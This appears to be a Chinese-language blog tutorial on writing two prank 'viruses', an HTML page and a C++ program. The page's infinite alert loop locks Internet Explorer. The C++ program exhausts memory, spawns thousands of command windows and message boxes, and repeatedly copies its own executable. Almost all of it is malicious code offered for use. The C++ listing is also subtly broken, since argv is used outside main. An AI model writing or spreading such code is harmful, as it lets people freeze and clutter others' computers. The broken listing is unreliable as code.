先來熱身一下:
下列哪些是計算機病毒?
好了,回到正題
今天分別做兩個病毒,一個是網頁病毒,一個是C++(C語言也可以)病毒.
先來說說HTML的:
思路很簡單,基於Internet Explorer瀏覽器出現對話方塊時無法進行其他操作的Bug,所以利用這個Bug,我們就可以寫出這樣的程式碼:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
var i=0;
while (true){
alert("hhh!你中計了!叫你不用Edge瀏覽器,慘了吧!來關我呀!略略略,關不掉!略略略~");
}
</script>
</body>
</html>
僅對Internet Explorer瀏覽器有效(給Edge做了一個很大的廣告)
執行效果:
Internet Explorer瀏覽器:
新版Edge瀏覽器:
老版Edge也是同樣做法,只是要先選擇這個選項:
隨後再關掉
新版Edge以及谷歌Chrome,Chromium瀏覽器直接關掉頁面或瀏覽器就可以了!
IE瀏覽器就略麻煩,找到小貝(360檸檬防毒軟體的加速球),找到IE瀏覽器並勾選,隨後點選深度加速即可.
好了,下一個
這是用C++做的,如果上面不夠狠那麼請看看這個,解決方法比較暴力請不要作X_X使用:
解決方法既然暴力,程式也一定很暴力:
首先上來就100個
malloc(1024);//參數隨便改
卡死你的電腦,隨後再來9999個CMD晃死你(我的語氣都有點暴力了)!
system("Start");//start大小寫隨便
如果你的電腦扛住了的話(一般扛不住)再來幾個MessageBox氣死你!
MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);
隨後9999個克隆
char *This = argv[0];//獲取當前exe的檔案地址
char *Target = "這裏填寫你的exe檔案的目錄,如:C:\\xxx.exe";//被拷貝檔案的地址
char cmd[1000] = "copy ";
strcat(cmd,This);
strcat(cmd," ");
strcat(cmd,Target);
system(cmd);
總體程式碼如下:
#include <iostream>
#include <windows.h>
using namespace std;
char *This = argv[0];//獲取當前exe的檔案地址
char *Target = "這裏填寫你的exe檔案的目錄,如:C:\\xxx.exe";//被拷貝檔案的地址
char cmd[1000] = "copy ";
#define r(p) for(int i=0;i<=p;++i){
#define e }
int main(int argc,char *argv[])//這個int argc,char *argv[]必須帶
{
r(100)malloc(1024);e//malloc是申請記憶體
r(9999)system("Start");e
r(1024)MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);e
r(9999) strcat(cmd,This);strcat(cmd," ");strcat(cmd,Target);system(cmd);e
}
執行結果:
嗶…